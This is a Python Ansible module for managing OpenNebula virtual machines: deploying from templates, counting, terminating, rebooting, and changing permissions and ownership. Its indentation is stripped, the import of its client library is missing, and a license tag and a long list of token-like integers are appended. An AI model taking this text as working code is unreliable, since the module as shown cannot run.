HAS_OCA = False
from ansible.module_utils.basic import AnsibleModule
import os
def get_template(module, client, predicate):
pool = oca.VmTemplatePool(client)
# Filter -2 means fetch all templates user can Use
pool.info(filter=-2)
found = 0
found_template = None
template_name = ''
for template in pool:
if predicate(template):
found = found + 1
found_template = template
template_name = template.name
if found == 0:
return None
elif found > 1:
module.fail_json(msg='There are more templates with name: ' + template_name)
return found_template
def get_template_by_name(module, client, template_name):
return get_template(module, client, lambda template: (template.name == template_name))
def get_template_by_id(module, client, template_id):
return get_template(module, client, lambda template: (template.id == template_id))
def get_template_id(module, client, requested_id, requested_name):
template = get_template_by_id(module, client, requested_id) if requested_id else get_template_by_name(module, client, requested_name)
if template:
return template.id
else:
return None
def get_vm_by_id(client, vm_id):
pool = oca.VirtualMachinePool(client)
# Retrieves information for all or part of the vms pool
# -4: Vms belonging to the user's primary group
# -3: Vms belonging to the user
# -2: All vms user can Use
# -1: Vms belonging to the user and any of his groups - default
# >= 0: UID User's vms
pool.info(filter=-2, range_start=int(vm_id), range_end=int(vm_id))
if len(pool) == 1:
return pool[0]
else:
return None
def get_vms_by_ids(module, client, state, ids):
vms = []
for vm_id in ids:
vm = get_vm_by_id(client, vm_id)
if vm is None and state != 'absent':
module.fail_json(msg='There is no VM with id=' + str(vm_id))
vms.append(vm)
return vms
def get_vm_info(client, vm):
vm.info()
networks_info = []
disk_size = ''
if hasattr(vm.template, 'disks'):
disk_size = vm.template.disks[0].size + ' MB'
if hasattr(vm.template, 'nics'):
for nic in vm.template.nics:
networks_info.append({'ip': nic.ip, 'mac': nic.mac, 'name': nic.network, 'security_groups': nic.security_groups})
import time
current_time = time.localtime()
vm_start_time = time.localtime(vm.stime)
vm_uptime = time.mktime(current_time) - time.mktime(vm_start_time)
vm_uptime /= (60 * 60)
permissions_str = parse_vm_permissions(client, vm)
# LCM_STATE is VM's sub-state that is relevant only when STATE is ACTIVE
vm_lcm_state = None
if vm.state == VM_STATES.index('ACTIVE'):
vm_lcm_state = LCM_STATES[vm.lcm_state]
vm_labels, vm_attributes = get_vm_labels_and_attributes_dict(client, vm.id)
info = {
'template_id': int(vm.template.template_id),
'vm_id': vm.id,
'vm_name': vm.name,
'state': VM_STATES[vm.state],
'lcm_state': vm_lcm_state,
'owner_name': vm.uname,
'owner_id': vm.uid,
'networks': networks_info,
'disk_size': disk_size,
'memory': vm.template.memory + ' MB',
'vcpu': vm.template.vcpu,
'cpu': vm.template.cpu,
'group_name': vm.gname,
'group_id': vm.gid,
'uptime_h': int(vm_uptime),
'attributes': vm_attributes,
'mode': permissions_str,
'labels': vm_labels
}
return info
def parse_vm_permissions(client, vm):
import xml.etree.ElementTree as ET
vm_XML = client.call('vm.info', vm.id)
root = ET.fromstring(vm_XML)
perm_dict = {}
root = root.find('PERMISSIONS')
for child in root:
perm_dict[child.tag] = child.text
'''
This is the structure of the 'PERMISSIONS' dictionary:
"PERMISSIONS": {
"OWNER_U": "1",
"OWNER_M": "1",
"OWNER_A": "0",
"GROUP_U": "0",
"GROUP_M": "0",
"GROUP_A": "0",
"OTHER_U": "0",
"OTHER_M": "0",
"OTHER_A": "0"
}
'''
owner_octal = int(perm_dict["OWNER_U"]) * 4 + int(perm_dict["OWNER_M"]) * 2 + int(perm_dict["OWNER_A"])
group_octal = int(perm_dict["GROUP_U"]) * 4 + int(perm_dict["GROUP_M"]) * 2 + int(perm_dict["GROUP_A"])
other_octal = int(perm_dict["OTHER_U"]) * 4 + int(perm_dict["OTHER_M"]) * 2 + int(perm_dict["OTHER_A"])
permissions = str(owner_octal) + str(group_octal) + str(other_octal)
return permissions
def set_vm_permissions(module, client, vms, permissions):
changed = False
for vm in vms:
vm.info()
print(vm.id)
old_permissions = parse_vm_permissions(client, vm)
changed = changed or old_permissions != permissions
if not module.check_mode and old_permissions != permissions:
permissions_str = bin(int(permissions, base=8))[2:] # 600 -> 110000000
mode_bits = [int(d) for d in permissions_str]
try:
client.call('vm.chmod', vm.id, mode_bits[0], mode_bits[1], mode_bits[2], mode_bits[3],
mode_bits[4], mode_bits[5], mode_bits[6], mode_bits[7], mode_bits[8])
except oca.OpenNebulaException:
module.fail_json(msg="Permissions changing is unsuccessful, but instances are present if you deployed them.")
return changed
def set_vm_ownership(module, client, vms, owner_id, group_id):
changed = False
for vm in vms:
vm.info()
if owner_id is None:
owner_id = vm.uid
if group_id is None:
group_id = vm.gid
changed = changed or owner_id != vm.uid or group_id != vm.gid
if not module.check_mode and (owner_id != vm.uid or group_id != vm.gid):
try:
client.call('vm.chown', vm.id, owner_id, group_id)
except oca.OpenNebulaException:
module.fail_json(msg="Ownership changing is unsuccessful, but instances are present if you deployed them.")
return changed
def get_size_in_MB(module, size_str):
SYMBOLS = ['B', 'KB', 'MB', 'GB', 'TB']
s = size_str
init = size_str
num = ""
while s and s[0:1].isdigit() or s[0:1] == '.':
num += s[0]
s = s[1:]
num = float(num)
symbol = s.strip()
if symbol not in SYMBOLS:
module.fail_json(msg="Cannot interpret %r %r %d" % (init, symbol, num))
prefix = {'B': 1}
for i, s in enumerate(SYMBOLS[1:]):
prefix[s] = 1 << (i + 1) * 10
size_in_bytes = int(num * prefix[symbol])
size_in_MB = size_in_bytes / (1024 * 1024)
return size_in_MB
def create_disk_str(module, client, template_id, disk_size_str):
if not disk_size_str:
return ''
import xml.etree.ElementTree as ET
template_XML = client.call('template.info', template_id)
root = ET.fromstring(template_XML)
disks_num = 0
disk = None
for child in root.find('TEMPLATE').findall('DISK'):
disks_num += 1
root = child
if disks_num != 1:
module.fail_json(msg='You can pass disk_size only if template has exact one disk. This template has ' + str(disks_num) + ' disks.')
disk = {}
# Get all info about existed disk e.g. IMAGE_ID,...
for child in root:
disk[child.tag] = child.text
result = 'DISK = [' + ','.join('{key}="{val}"'.format(key=key, val=val) for key, val in disk.items() if key != 'SIZE')
result += ', SIZE=' + str(int(get_size_in_MB(module, disk_size_str))) + ']\n'
return result
def create_attributes_str(attributes_dict, labels_list):
attributes_str = ''
if labels_list:
attributes_str += 'LABELS="' + ','.join('{label}'.format(label=label) for label in labels_list) + '"\n'
if attributes_dict:
attributes_str += '\n'.join('{key}="{val}"'.format(key=key.upper(), val=val) for key, val in attributes_dict.items()) + '\n'
return attributes_str
def create_nics_str(network_attrs_list):
nics_str = ''
for network in network_attrs_list:
# Packing key-value dict in string with format key="value", key="value"
network_str = ','.join('{key}="{val}"'.format(key=key, val=val) for key, val in network.items())
nics_str = nics_str + 'NIC = [' + network_str + ']\n'
return nics_str
def create_vm(module, client, template_id, attributes_dict, labels_list, disk_size, network_attrs_list, vm_start_on_hold):
if attributes_dict:
vm_name = attributes_dict.get('NAME', '')
disk_str = create_disk_str(module, client, template_id, disk_size)
vm_extra_template_str = create_attributes_str(attributes_dict, labels_list) + create_nics_str(network_attrs_list) + disk_str
vm_id = client.call('template.instantiate', template_id, vm_name, vm_start_on_hold, vm_extra_template_str)
vm = get_vm_by_id(client, vm_id)
return get_vm_info(client, vm)
def generate_next_index(vm_filled_indexes_list, num_sign_cnt):
counter = 0
cnt_str = str(counter).zfill(num_sign_cnt)
while cnt_str in vm_filled_indexes_list:
counter = counter + 1
cnt_str = str(counter).zfill(num_sign_cnt)
return cnt_str
def get_vm_labels_and_attributes_dict(client, vm_id):
import xml.etree.ElementTree as ET
vm_XML = client.call('vm.info', vm_id)
root = ET.fromstring(vm_XML)
attrs_dict = {}
labels_list = []
root = root.find('USER_TEMPLATE')
for child in root:
if child.tag != 'LABELS':
attrs_dict[child.tag] = child.text
else:
if child.text is not None:
labels_list = child.text.split(',')
return labels_list, attrs_dict
def get_all_vms_by_attributes(client, attributes_dict, labels_list):
pool = oca.VirtualMachinePool(client)
# Retrieves information for all or part of the vms pool
# -4: Vms belonging to the user's primary group
# -3: Vms belonging to the user
# -2: All vms user can Use
# -1: Vms belonging to the user and any of his groups - default
# >= 0: UID User's vms
pool.info(filter=-2)
vm_list = []
name = ''
if attributes_dict:
name = attributes_dict.pop('NAME', '')
if name != '':
base_name = name[:len(name) - name.count('#')]
# Check does the name have indexed format
with_hash = name.endswith('#')
for vm in pool:
if vm.name.startswith(base_name):
if with_hash and vm.name[len(base_name):].isdigit():
# If the name has indexed format and after base_name it has only digits it'll be matched
vm_list.append(vm)
elif not with_hash and vm.name == name:
# If the name is not indexed it has to be same
vm_list.append(vm)
pool = vm_list
import copy
vm_list = copy.copy(pool)
for vm in pool:
vm_labels_list, vm_attributes_dict = get_vm_labels_and_attributes_dict(client, vm.id)
if attributes_dict and len(attributes_dict) > 0:
for key, val in attributes_dict.items():
if key in vm_attributes_dict:
if val and vm_attributes_dict[key] != val and vm in vm_list:
vm_list.remove(vm)
break
else:
if vm in vm_list:
vm_list.remove(vm)
break
if labels_list and len(labels_list) > 0:
for label in labels_list:
if label not in vm_labels_list and vm in vm_list:
vm_list.remove(vm)
break
return vm_list
def create_count_of_vms(module, client, template_id, count, attributes_dict, labels_list, disk_size, network_attrs_list, wait, wait_timeout, vm_start_on_hold):
new_vms_list = []
vm_name = ''
if attributes_dict:
vm_name = attributes_dict.get('NAME', '')
if module.check_mode:
return True, [], []
# Create list of used indexes
vm_filled_indexes_list = None
num_sign_cnt = vm_name.count('#')
if vm_name != '' and num_sign_cnt > 0:
vm_list = get_all_vms_by_attributes(client, {'NAME': vm_name}, None)
base_name = vm_name[:len(vm_name) - num_sign_cnt]
vm_name = base_name
# Make list which contains used indexes in format ['000', '001',...]
vm_filled_indexes_list = list((vm.name[len(base_name):].zfill(num_sign_cnt)) for vm in vm_list)
while count > 0:
new_vm_name = vm_name
# Create indexed name
if vm_filled_indexes_list is not None:
next_index = generate_next_index(vm_filled_indexes_list, num_sign_cnt)
vm_filled_indexes_list.append(next_index)
new_vm_name += next_index
# Update NAME value in the attributes in case there is index
attributes_dict['NAME'] = new_vm_name
new_vm_dict = create_vm(module, client, template_id, attributes_dict, labels_list, disk_size, network_attrs_list, vm_start_on_hold)
new_vm_id = new_vm_dict.get('vm_id')
new_vm = get_vm_by_id(client, new_vm_id)
new_vms_list.append(new_vm)
count -= 1
if vm_start_on_hold:
if wait:
for vm in new_vms_list:
wait_for_hold(module, vm, wait_timeout)
else:
if wait:
for vm in new_vms_list:
wait_for_running(module, vm, wait_timeout)
return True, new_vms_list, []
def create_exact_count_of_vms(module, client, template_id, exact_count, attributes_dict, count_attributes_dict,
labels_list, count_labels_list, disk_size, network_attrs_list, hard, wait, wait_timeout, vm_start_on_hold):
vm_list = get_all_vms_by_attributes(client, count_attributes_dict, count_labels_list)
vm_count_diff = exact_count - len(vm_list)
changed = vm_count_diff != 0
new_vms_list = []
instances_list = []
tagged_instances_list = vm_list
if module.check_mode:
return changed, instances_list, tagged_instances_list
if vm_count_diff > 0:
# Add more VMs
changed, instances_list, tagged_instances = create_count_of_vms(module, client, template_id, vm_count_diff, attributes_dict,
labels_list, disk_size, network_attrs_list, wait, wait_timeout, vm_start_on_hold)
tagged_instances_list += instances_list
elif vm_count_diff < 0:
# Delete surplus VMs
old_vms_list = []
while vm_count_diff < 0:
old_vm = vm_list.pop(0)
old_vms_list.append(old_vm)
terminate_vm(module, client, old_vm, hard)
vm_count_diff += 1
if wait:
for vm in old_vms_list:
wait_for_done(module, vm, wait_timeout)
instances_list = old_vms_list
# store only the remaining instances
old_vms_set = set(old_vms_list)
tagged_instances_list = [vm for vm in vm_list if vm not in old_vms_set]
return changed, instances_list, tagged_instances_list
VM_STATES = ['INIT', 'PENDING', 'HOLD', 'ACTIVE', 'STOPPED', 'SUSPENDED', 'DONE', '', 'POWEROFF', 'UNDEPLOYED', 'CLONING', 'CLONING_FAILURE']
LCM_STATES = ['LCM_INIT', 'PROLOG', 'BOOT', 'RUNNING', 'MIGRATE', 'SAVE_STOP',
'SAVE_SUSPEND', 'SAVE_MIGRATE', 'PROLOG_MIGRATE', 'PROLOG_RESUME',
'EPILOG_STOP', 'EPILOG', 'SHUTDOWN', 'STATE13', 'STATE14', 'CLEANUP_RESUBMIT', 'UNKNOWN', 'HOTPLUG', 'SHUTDOWN_POWEROFF',
'BOOT_UNKNOWN', 'BOOT_POWEROFF', 'BOOT_SUSPENDED', 'BOOT_STOPPED', 'CLEANUP_DELETE', 'HOTPLUG_SNAPSHOT', 'HOTPLUG_NIC',
'HOTPLUG_SAVEAS', 'HOTPLUG_SAVEAS_POWEROFF', 'HOTPULG_SAVEAS_SUSPENDED', 'SHUTDOWN_UNDEPLOY']
def wait_for_state(module, vm, wait_timeout, state_predicate):
import time
start_time = time.time()
while (time.time() - start_time) < wait_timeout:
vm.info()
state = vm.state
lcm_state = vm.lcm_state
if state_predicate(state, lcm_state):
return vm
elif state not in [VM_STATES.index('INIT'), VM_STATES.index('PENDING'), VM_STATES.index('HOLD'),
VM_STATES.index('ACTIVE'), VM_STATES.index('POWEROFF')]:
module.fail_json(msg='Action is unsuccessful. VM state: ' + VM_STATES[state])
time.sleep(1)
module.fail_json(msg="Wait timeout has expired!")
def wait_for_running(module, vm, wait_timeout):
return wait_for_state(module, vm, wait_timeout, lambda state,
lcm_state: (state in [VM_STATES.index('ACTIVE')] and lcm_state in [LCM_STATES.index('RUNNING')]))
def wait_for_done(module, vm, wait_timeout):
return wait_for_state(module, vm, wait_timeout, lambda state, lcm_state: (state in [VM_STATES.index('DONE')]))
def wait_for_hold(module, vm, wait_timeout):
return wait_for_state(module, vm, wait_timeout, lambda state, lcm_state: (state in [VM_STATES.index('HOLD')]))
def wait_for_poweroff(module, vm, wait_timeout):
return wait_for_state(module, vm, wait_timeout, lambda state, lcm_state: (state in [VM_STATES.index('POWEROFF')]))
def terminate_vm(module, client, vm, hard=False):
changed = False
if not vm:
return changed
changed = True
if not module.check_mode:
if hard:
client.call('vm.action', 'terminate-hard', vm.id)
else:
client.call('vm.action', 'terminate', vm.id)
return changed
def terminate_vms(module, client, vms, hard):
changed = False
for vm in vms:
changed = terminate_vm(module, client, vm, hard) or changed
return changed
def poweroff_vm(module, vm, hard):
vm.info()
changed = False
lcm_state = vm.lcm_state
state = vm.state
if lcm_state not in [LCM_STATES.index('SHUTDOWN'), LCM_STATES.index('SHUTDOWN_POWEROFF')] and state not in [VM_STATES.index('POWEROFF')]:
changed = True
if changed and not module.check_mode:
if not hard:
vm.poweroff()
else:
vm.poweroff_hard()
return changed
def poweroff_vms(module, client, vms, hard):
changed = False
for vm in vms:
changed = poweroff_vm(module, vm, hard) or changed
return changed
def reboot_vms(module, client, vms, wait_timeout, hard):
if not module.check_mode:
# Firstly, power-off all instances
for vm in vms:
vm.info()
lcm_state = vm.lcm_state
state = vm.state
if lcm_state not in [LCM_STATES.index('SHUTDOWN_POWEROFF')] and state not in [VM_STATES.index('POWEROFF')]:
poweroff_vm(module, vm, hard)
# Wait for all to be power-off
for vm in vms:
wait_for_poweroff(module, vm, wait_timeout)
for vm in vms:
resume_vm(module, vm)
return True
def resume_vm(module, vm):
vm.info()
changed = False
lcm_state = vm.lcm_state
if lcm_state == LCM_STATES.index('SHUTDOWN_POWEROFF'):
module.fail_json(msg="Cannot perform action 'resume' because this action is not available " +
"for LCM_STATE: 'SHUTDOWN_POWEROFF'. Wait for the VM to shutdown properly")
if lcm_state not in [LCM_STATES.index('RUNNING')]:
changed = True
if changed and not module.check_mode:
vm.resume()
return changed
def resume_vms(module, client, vms):
changed = False
for vm in vms:
changed = resume_vm(module, vm) or changed
return changed
def check_name_attribute(module, attributes):
if attributes.get("NAME"):
import re
if re.match(r'^[^#]+#*$', attributes.get("NAME")) is None:
module.fail_json(msg="Ilegal 'NAME' attribute: '" + attributes.get("NAME") +
"' .Signs '#' are allowed only at the end of the name and the name cannot contain only '#'.")
TEMPLATE_RESTRICTED_ATTRIBUTES = ["CPU", "VCPU", "OS", "FEATURES", "MEMORY", "DISK", "NIC", "INPUT", "GRAPHICS",
"CONTEXT", "CREATED_BY", "CPU_COST", "DISK_COST", "MEMORY_COST",
"TEMPLATE_ID", "VMID", "AUTOMATIC_DS_REQUIREMENTS", "DEPLOY_FOLDER", "LABELS"]
def check_attributes(module, attributes):
for key in attributes.keys():
if key in TEMPLATE_RESTRICTED_ATTRIBUTES:
module.fail_json(msg='Restricted attribute `' + key + '` cannot be used when filtering VMs.')
# Check the format of the name attribute
check_name_attribute(module, attributes)
def disk_save_as(module, client, vm, disk_saveas, wait_timeout):
if not disk_saveas.get('name'):
module.fail_json(msg="Key 'name' is required for 'disk_saveas' option")
image_name = disk_saveas.get('name')
disk_id = disk_saveas.get('disk_id', 0)
if not module.check_mode:
if vm.state != VM_STATES.index('POWEROFF'):
module.fail_json(msg="'disksaveas' option can be used only when the VM is in 'POWEROFF' state")
client.call('vm.disksaveas', vm.id, disk_id, image_name, 'OS', -1)
wait_for_poweroff(module, vm, wait_timeout) # wait for VM to leave the hotplug_saveas_poweroff state
def get_connection_info(module):
url = module.params.get('api_url')
username = module.params.get('api_username')
password = module.params.get('api_password')
if not url:
url = os.environ.get('ONE_URL')
if not username:
username = os.environ.get('ONE_USERNAME')
if not password:
password = os.environ.get('ONE_PASSWORD')
if not url:
module.fail_json(msg="Opennebula API url (api_url) is not specified")
from collections import namedtuple
auth_params = namedtuple('auth', ('url', 'username', 'password'))
return auth_params(url=url, username=username, password=password)
def main():
fields = {
"api_url": {"required": False, "type": "str"},
"api_username": {"required": False, "type": "str"},
"api_password": {"required": False, "type": "str", "no_log": True},
"instance_ids": {"required": False, "aliases": ['ids'], "type": "list"},
"template_name": {"required": False, "type": "str"},
"template_id": {"required": False, "type": "int"},
"vm_start_on_hold": {"default": False, "type": "bool"},
"state": {
"default": "present",
"choices": ['present', 'absent', 'rebooted', 'poweredoff', 'running'],
"type": "str"
},
"mode": {"required": False, "type": "str"},
"owner_id": {"required": False, "type": "int"},
"group_id": {"required": False, "type": "int"},
"wait": {"default": True, "type": "bool"},
"wait_timeout": {"default": 300, "type": "int"},
"hard": {"default": False, "type": "bool"},
"memory": {"required": False, "type": "str"},
"cpu": {"required": False, "type": "float"},
"vcpu": {"required": False, "type": "int"},
"disk_size": {"required": False, "type": "str"},
"networks": {"default": [], "type": "list"},
"count": {"default": 1, "type": "int"},
"exact_count": {"required": False, "type": "int"},
"attributes": {"default": {}, "type": "dict"},
"count_attributes": {"required": False, "type": "dict"},
"labels": {"default": [], "type": "list"},
"count_labels": {"required": False, "type": "list"},
"disk_saveas": {"type": "dict"}
}
module = AnsibleModule(argument_spec=fields,
mutually_exclusive=[
['template_id', 'template_name', 'instance_ids'],
['template_id', 'template_name', 'disk_saveas'],
['instance_ids', 'count_attributes', 'count'],
['instance_ids', 'count_labels', 'count'],
['instance_ids', 'exact_count'],
['instance_ids', 'attributes'],
['instance_ids', 'labels'],
['disk_saveas', 'attributes'],
['disk_saveas', 'labels'],
['exact_count', 'count'],
['count', 'hard'],
['instance_ids', 'cpu'], ['instance_ids', 'vcpu'],
['instance_ids', 'memory'], ['instance_ids', 'disk_size'],
['instance_ids', 'networks']
],
supports_check_mode=True)
if not HAS_OCA:
module.fail_json(msg='This module requires python-oca to work!')
auth = get_connection_info(module)
params = module.params
instance_ids = params.get('instance_ids')
requested_template_name = params.get('template_name')
requested_template_id = params.get('template_id')
put_vm_on_hold = params.get('vm_start_on_hold')
state = params.get('state')
permissions = params.get('mode')
owner_id = params.get('owner_id')
group_id = params.get('group_id')
wait = params.get('wait')
wait_timeout = params.get('wait_timeout')
hard = params.get('hard')
memory = params.get('memory')
cpu = params.get('cpu')
vcpu = params.get('vcpu')
disk_size = params.get('disk_size')
networks = params.get('networks')
count = params.get('count')
exact_count = params.get('exact_count')
attributes = params.get('attributes')
count_attributes = params.get('count_attributes')
labels = params.get('labels')
count_labels = params.get('count_labels')
disk_saveas = params.get('disk_saveas')
if not (auth.username and auth.password):
client = oca.Client(None, auth.url)
else:
client = oca.Client(auth.username + ':' + auth.password, auth.url)
if attributes:
attributes = dict((key.upper(), value) for key, value in attributes.items())
check_attributes(module, attributes)
if count_attributes:
count_attributes = dict((key.upper(), value) for key, value in count_attributes.items())
if not attributes:
import copy
module.warn('When you pass `count_attributes` without `attributes` option when deploying, `attributes` option will have same values implicitly.')
attributes = copy.copy(count_attributes)
check_attributes(module, count_attributes)
if count_labels and not labels:
module.warn('When you pass `count_labels` without `labels` option when deploying, `labels` option will have same values implicitly.')
labels = count_labels
# Fetch template
template_id = None
if requested_template_id or requested_template_name:
template_id = get_template_id(module, client, requested_template_id, requested_template_name)
if template_id is None:
if requested_template_id:
module.fail_json(msg='There is no template with template_id: ' + str(requested_template_id))
elif requested_template_name:
module.fail_json(msg="There is no template with name: " + requested_template_name)
if exact_count and template_id is None:
module.fail_json(msg='Option `exact_count` needs template_id or template_name')
if exact_count is not None and not (count_attributes or count_labels):
module.fail_json(msg='Either `count_attributes` or `count_labels` has to be specified with option `exact_count`.')
if (count_attributes or count_labels) and exact_count is None:
module.fail_json(msg='Option `exact_count` has to be specified when either `count_attributes` or `count_labels` is used.')
if template_id is not None and state != 'present':
module.fail_json(msg="Only state 'present' is valid for the template")
if memory:
attributes['MEMORY'] = str(int(get_size_in_MB(module, memory)))
if cpu:
attributes['CPU'] = str(cpu)
if vcpu:
attributes['VCPU'] = str(vcpu)
if exact_count is not None and state != 'present':
module.fail_json(msg='The `exact_count` option is valid only for the `present` state')
if exact_count is not None and exact_count < 0:
module.fail_json(msg='`exact_count` cannot be less than 0')
if count <= 0:
module.fail_json(msg='`count` has to be grater than 0')
if permissions is not None:
import re
if re.match("^[0-7]{3}$", permissions) is None:
module.fail_json(msg="Option `mode` has to have exactly 3 digits and be in the octet format e.g. 600")
if exact_count is not None:
# Deploy an exact count of VMs
changed, instances_list, tagged_instances_list = create_exact_count_of_vms(module, client, template_id, exact_count, attributes,
count_attributes, labels, count_labels, disk_size,
networks, hard, wait, wait_timeout, put_vm_on_hold)
vms = tagged_instances_list
elif template_id is not None and state == 'present':
# Deploy count VMs
changed, instances_list, tagged_instances_list = create_count_of_vms(module, client, template_id, count,
attributes, labels, disk_size, networks, wait, wait_timeout, put_vm_on_hold)
# instances_list - new instances
# tagged_instances_list - all instances with specified `count_attributes` and `count_labels`
vms = instances_list
else:
# Fetch data of instances, or change their state
if not (instance_ids or attributes or labels):
module.fail_json(msg="At least one of `instance_ids`,`attributes`,`labels` must be passed!")
if memory or cpu or vcpu or disk_size or networks:
module.fail_json(msg="Parameters as `memory`, `cpu`, `vcpu`, `disk_size` and `networks` you can only set when deploying a VM!")
if hard and state not in ['rebooted', 'poweredoff', 'absent', 'present']:
module.fail_json(msg="The 'hard' option can be used only for one of these states: 'rebooted', 'poweredoff', 'absent' and 'present'")
vms = []
tagged = False
changed = False
if instance_ids:
vms = get_vms_by_ids(module, client, state, instance_ids)
else:
tagged = True
vms = get_all_vms_by_attributes(client, attributes, labels)
if len(vms) == 0 and state != 'absent' and state != 'present':
module.fail_json(msg='There are no instances with specified `instance_ids`, `attributes` and/or `labels`')
if len(vms) == 0 and state == 'present' and not tagged:
module.fail_json(msg='There are no instances with specified `instance_ids`.')
if tagged and state == 'absent':
module.fail_json(msg='Option `instance_ids` is required when state is `absent`.')
if state == 'absent':
changed = terminate_vms(module, client, vms, hard)
elif state == 'rebooted':
changed = reboot_vms(module, client, vms, wait_timeout, hard)
elif state == 'poweredoff':
changed = poweroff_vms(module, client, vms, hard)
elif state == 'running':
changed = resume_vms(module, client, vms)
instances_list = vms
tagged_instances_list = []
if permissions is not None:
changed = set_vm_permissions(module, client, vms, permissions) or changed
if owner_id is not None or group_id is not None:
changed = set_vm_ownership(module, client, vms, owner_id, group_id) or changed
if wait and not module.check_mode and state != 'present':
wait_for = {
'absent': wait_for_done,
'rebooted': wait_for_running,
'poweredoff': wait_for_poweroff,
'running': wait_for_running
}
for vm in vms:
if vm is not None:
wait_for[state](module, vm, wait_timeout)
if disk_saveas is not None:
if len(vms) == 0:
module.fail_json(msg="There is no VM whose disk will be saved.")
disk_save_as(module, client, vms[0], disk_saveas, wait_timeout)
changed = True
# instances - a list of instances info whose state is changed or which are fetched with C(instance_ids) option
instances = list(get_vm_info(client, vm) for vm in instances_list if vm is not None)
instances_ids = list(vm.id for vm in instances_list if vm is not None)
# tagged_instances - A list of instances info based on a specific attributes and/or labels that are specified with C(count_attributes) and C(count_labels)
tagged_instances = list(get_vm_info(client, vm) for vm in tagged_instances_list if vm is not None)
result = {'changed': changed, 'instances': instances, 'instances_ids': instances_ids, 'tagged_instances': tagged_instances}
module.exit_json(**result)
if __name__ == '__main__':
main()
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
4155,
2803,
1655,
2366,
19,
13,
2453,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
624,
199,
8,
67,
9,
9708,
12,
603,
382,
290,
473,
606,
665,
77,
382,
26455,
32,
6505,
271,
527,
14,
957,
30,
199,
199,
2765,
570,
365,
1777,
402,
2622,
199,
199,
10047,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
390,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
1589,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
8,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
199,
10047,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
7911,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
31461,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
17732,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
199,
5556,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
21632,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
624,
199,
199,
8490,
63,
8314,
275,
791,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
9387,
297,
490,
283,
2343,
63,
1023,
356,
283,
17,
14,
17,
936,
199,
199,
8948,
275,
1449,
199,
2595,
199,
578,
26,
1373,
63,
2611,
199,
3612,
63,
1802,
26,
10560,
503,
26751,
3232,
46,
2871,
7586,
4454,
199,
1802,
26,
523,
446,
21612,
3232,
46,
2871,
7586,
4454,
199,
1023,
63,
3270,
26,
298,
18,
14,
22,
2,
199,
7538,
26,
523,
446,
2366,
13,
679,
65,
199,
1419,
26,
523,
2986,
63,
633,
26,
272,
1369,
26,
489,
446,
2851,
402,
314,
3232,
46,
2871,
7586,
11785,
1654,
14,
489,
446,
2779,
365,
14318,
370,
675,
14147,
880,
626,
314,
3434,
15,
2060,
787,
440,
489,
446,
1752,
5057,
1806,
314,
2784,
625,
15078,
14,
489,
446,
982,
440,
663,
2066,
314,
574,
402,
314,
445,
8,
4817,
63,
2632,
9,
3734,
1750,
365,
1202,
14,
523,
2986,
63,
2473,
26,
272,
1369,
26,
489,
446,
2812,
402,
314,
922,
370,
4676,
1901,
314,
3232,
46,
2871,
7586,
11785,
1654,
14,
982,
440,
663,
489,
446,
2066,
314,
574,
402,
314,
445,
8,
4817,
63,
11958,
9,
3734,
1750,
365,
1202,
14,
523,
2986,
63,
2060,
26,
272,
1369,
26,
489,
446,
13635,
402,
314,
922,
370,
4676,
1901,
3232,
46,
2871,
7586,
11785,
1654,
14,
982,
440,
663,
489,
446,
2066,
314,
574,
402,
314,
445,
8,
4817,
63,
9032,
9,
3734,
1750,
365,
1202,
14,
489,
446,
340,
3865,
473,
8,
1246,
63,
2473,
9,
503,
473,
8,
1246,
63,
2060,
9,
787,
440,
663,
12,
2066,
652,
911,
862,
489,
446,
12895,
543,
13051,
1790,
570,
14,
3758,
931,
365,
26810,
8083,
368,
15,
368,
63,
1178,
1674,
489,
446,
2494,
3734,
1750,
445,
8,
4817,
63,
5580,
9,
370,
4278,
642,
931,
14,
523,
1978,
63,
354,
26,
272,
1369,
26,
489,
446,
2812,
402,
7525,
1978,
370,
675,
370,
1218,
282,
892,
315,
1207,
301,
523,
1978,
63,
344,
26,
272,
1369,
26,
489,
446,
2870,
402,
282,
7525,
1978,
370,
675,
370,
1218,
282,
892,
1256,
523,
4169,
63,
928,
63,
265,
63,
12239,
26,
272,
1369,
26,
489,
446,
2494,
370,
2549,
370,
5324,
4169,
641,
10266,
1830,
6425,
272,
849,
26,
756,
272,
1015,
63,
3270,
26,
283,
18,
14,
25,
7,
523,
1256,
63,
1580,
26,
272,
1369,
26,
489,
446,
437,
769,
402,
1256,
2762,
1202,
367,
6363,
5242,
445,
8,
5575,
395,
445,
8,
5720,
395,
445,
8,
264,
656,
5731,
395,
445,
8,
555,
21221,
1997,
9,
272,
5481,
26,
788,
1580,
418,
523,
1174,
26,
272,
1369,
26,
489,
446,
445,
8,
1881,
9,
446,
1218,
4454,
687,
282,
1978,
2013,
543,
445,
8,
1160,
63,
344,
2447,
35,
8,
1160,
63,
354,
680,
489,
446,
445,
8,
5720,
9,
446,
1255,
4454,
489,
446,
445,
8,
555,
21221,
1997,
9,
446,
7074,
13,
1997,
4454,
489,
446,
445,
8,
264,
656,
5731,
9,
446,
19457,
4454,
489,
446,
445,
8,
5575,
9,
446,
15095,
4454,
272,
3415,
26,
2097,
1881,
401,
298,
5575,
401,
298,
5720,
401,
298,
264,
656,
5731,
401,
298,
555,
21221,
1997,
937,
272,
849,
26,
3451,
523,
7508,
26,
272,
1369,
26,
489,
446,
799,
4930,
12,
7074,
13,
1997,
503,
15095,
4454,
445,
8,
8726,
9,
272,
849,
26,
949,
272,
730,
26,
2155,
523,
